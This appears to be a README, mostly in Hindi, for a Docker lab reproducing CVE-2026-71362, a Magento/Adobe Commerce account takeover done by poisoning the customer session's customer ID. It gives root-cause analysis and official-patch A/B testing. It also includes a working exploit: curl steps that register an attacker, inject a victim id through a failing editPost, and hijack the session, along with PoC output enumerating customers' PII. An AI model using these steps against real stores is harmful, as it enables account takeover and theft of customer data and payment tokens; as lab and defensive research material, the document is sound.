
Docker लैब जो CVE-2026-71362 Magento/Adobe Commerce खाता अधिग्रहण को ग्राहक-सत्र पहचान स्विच के माध्यम से पुनरुत्पादित करता है, जिसमें PoC और अधिकृत शोध के लिए आधिकारिक-पैच A/B/A नियंत्रण शामिल है।
एक स्व-निहित, एक-कमांड Docker लैब जो CVE-2026-71362 को शुरू से अंत तक रिप्रोड्यूस करती है और आपको Adobe के फिक्स को सत्यापित करने देती है, ताकि डिफेंडर, शोधकर्ता और छात्र एक डिस्पोजेबल स्टोर पर वास्तविक अकाउंट-टेकओवर प्रिमिटिव का अध्ययन कर सकें।
| CVE | CVE-2026-71362 |
| उत्पाद | Adobe Commerce · Adobe Commerce B2B · Magento Open Source |
| वर्ग | गलत प्राधिकरण (CWE-863) — ग्राहक-सत्र पहचान स्विच → अकाउंट टेकओवर |
| गंभीरता | CVSS 3.1 = 9.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| एडवाइजरी | Adobe APSB26-92 (2026-08-11) |
| प्रभावित | Adobe Commerce 2.4.4–2.4.9, Magento Open Source 2.4.6–2.4.9, B2B 1.3.3–1.5.3 — -2026-jul आइसोलेटेड-पैच स्तर और उससे पहले |
| फिक्स्ड | -2026-aug आइसोलेटेड पैच स्तर (पैच आईडी 24Xp-2026-08-001-CE) |
⚠️ केवल अधिकृत उपयोग
यह लैब रक्षात्मक अनुसंधान और शिक्षा के लिए एक सार्वजनिक, पैच किए गए भेद्यता को रिप्रोड्यूस करने हेतु मौजूद है। इसे केवल उसी डिस्पोजेबल स्टोर के विरुद्ध चलाएँ जिसे यह बनाता है। इसे किसी भी ऐसे Magento/Adobe Commerce इंस्टेंस के विरुद्ध न उपयोग करें जिसके स्वामी आप नहीं हैं या जिसके परीक्षण की स्पष्ट लिखित अनुमति आपके पास नहीं है। सभी लागू कानूनों का पालन करने की जिम्मेदारी आपकी है।
Magento\Customer\Controller\Account\Edit::execute() एक विफल editPost द्वारा सत्र में छोड़े गए कच्चे, हमलावर-नियंत्रित customer_form_data को DataObjectHelper::populateWithArray() में फीड करता है, जो ग्राहक ऑब्जेक्ट पर हर मेल खाती कुंजी को कॉपी करता है — जिसमें id भी शामिल है। फिर ऑब्जेक्ट को Session::setCustomerData() → setCustomerId($object->getId()) के साथ वापस लिखा जाता है, और चूँकि Customer\Model\Session::getId() केवल getCustomerId() लौटाता है, अकेले customer_id को ओवरराइट करना isLoggedIn() को पीड़ित के रूप में true लौटाने के लिए पर्याप्त है। कोई पासवर्ड, टोकन या स्वामित्व जाँच नहीं होती। केवल स्व-पंजीकृत डिस्पोजेबल अकाउंट वाला हमलावर अपने सत्र को किसी भी ग्राहक आईडी से पुनर्बद्ध कर सकता है और उस अकाउंट की PII, ऑर्डर, पते और संग्रहीत भुगतान टोकन पढ़ सकता है।
पूर्ण वॉकथ्रू: docs/ROOTCAUSE.md। डिटेक्शन और WAF नियम: docs/DETECTION.md।
attacker registers ──► POST /customer/account/editPost (change_email=1,
(own account) current_password=wrong, id=<VICTIM>) ─► exception ─►
session.customer_form_data = {... id: <VICTIM> ...}
│
▼
GET /customer/account/edit
populateWithArray(... id=<VICTIM> ...) ─► setId(VICTIM)
setCustomerData() ─► setCustomerId(VICTIM)
│
▼
attacker's OWN cookie now resolves to the VICTIM everywhere (dashboard,
order history, address book, section/load) ─► account takeover.
pip install -r exploit/requirements.txtबिल्ड Magento Open Source को सार्वजनिक स्रोतों से खींचता है; कोई Adobe Marketplace कुंजी आवश्यक नहीं है।
git clone https://github.com/dinosn/cve-2026-71362-magento-lab.git
cd cve-2026-71362-magento-lab
make up # build + start; FIRST BOOT INSTALLS MAGENTO (15-40 min). Watch: make logs
make wait # blocks until the storefront returns HTTP 200
make exploit # runs the PoC
स्टोरफ्रंट: http://127.0.0.1:8080/ · एडमिन: http://127.0.0.1:8080/admin (admin / Admin123!)। .env में होस्ट/पोर्ट बदलें (.env.example देखें) — मान अवश्य उस URL से मेल खाना चाहिए जिसे आप ब्राउज़ करते हैं, क्योंकि Magento अपनी सत्र कुकी को स्टोर के बेस URL से बाँधता है।
[1] attacker authenticated as its OWN account: firstname='Mallory'
[+] registered a victim to steal: firstname='VICTIM…' email='victim…@lab.test'
[2] enumerating customer_id 1..25 by rebinding the attacker session to each:
customer_id=1 -> VICTIM… Target <victim…@lab.test>
...
>>> ACCOUNT TAKEOVER: attacker's session hijacked customer_id=1 (VICTIM…) and read
every enumerated account's PII with only self-registration.
make patch # apply Adobe's official APSB26-92 Edit.php fix
make exploit # -> NOT exploited (session identity unchanged)
make unpatch # restore the vulnerable file
make exploit # -> ACCOUNT TAKEOVER again
make patch patch/Edit.patched.php को स्वैप करता है — यह patch/official-APSB26-92-module-customer.patch से लिया गया सटीक अपस्ट्रीम परिवर्तन है। केवल उस एक फ़ाइल को ऑन और ऑफ टॉगल करना इस बात का ओरेकल है कि बग वास्तव में ठीक इसी हिस्से में है।
# form_key + cookies
curl -c jar -s http://127.0.0.1:8080/customer/account/create | grep -o 'name="form_key"[^>]*'
# 1. register attacker (auto-logged-in)
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/createPost \
--data-urlencode form_key=<FK> --data-urlencode firstname=Mallory \
--data-urlencode lastname=Attacker --data-urlencode [email protected] \
--data-urlencode password='Attacker#123' --data-urlencode password_confirmation='Attacker#123'
# 2. poison the session: failing editPost carrying id=<VICTIM>
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/editPost \
--data-urlencode form_key=<FK2> --data-urlencode id=1 \
--data-urlencode change_email=1 --data-urlencode current_password=wrong \
--data-urlencode [email protected]
# 3. trigger + observe: the attacker cookie now resolves to customer_id=1
curl -b jar -s http://127.0.0.1:8080/customer/account/edit | grep -Ei 'name="(firstname|email)"'
अपनी ब्रांच के लिए APSB26-92 अगस्त-2026 आइसोलेटेड पैच लागू करें (24Xp-2026-08-001-CE)। Adobe पैच रजिस्ट्री और रॉ डिफ्स को बिना क्रेडेंशियल के https://repo.magento.com/patch/patch-registry.json पर उपलब्ध कराता है। यह फिक्स सार्वजनिक GitHub पर नहीं है — इसके लिए कोई Composer पैकेज या git टैग प्रकाशित नहीं किया गया, इसलिए composer update इसे नहीं खींचेगा।
docker-compose.yml nginx + php(-fpm) + mariadb + opensearch + redis
php/entrypoint.sh first-boot installer (clone -> composer -> setup:install -> configure)
exploit/poc.py the PoC + PII-enumeration oracle
scripts/patch.sh apply Adobe's official fix scripts/unpatch.sh restore vulnerable
patch/ official diff + vulnerable/patched Edit.php
docs/ROOTCAUSE.md code-level walkthrough docs/DETECTION.md WAF + forensics
make logs चलाएँ और Install complete आने की प्रतीक्षा करें, फिर make wait चलाएँ।generated/ पर permission race; make shell और फिर php bin/magento cache:flush चलाएँ (entrypoint सामान्यतः इसे संभाल लेता है)।.env में MAGENTO_HOST/HOST_PORT को उसी URL के बराबर रखें जिसे आप (और TARGET) उपयोग करते हैं।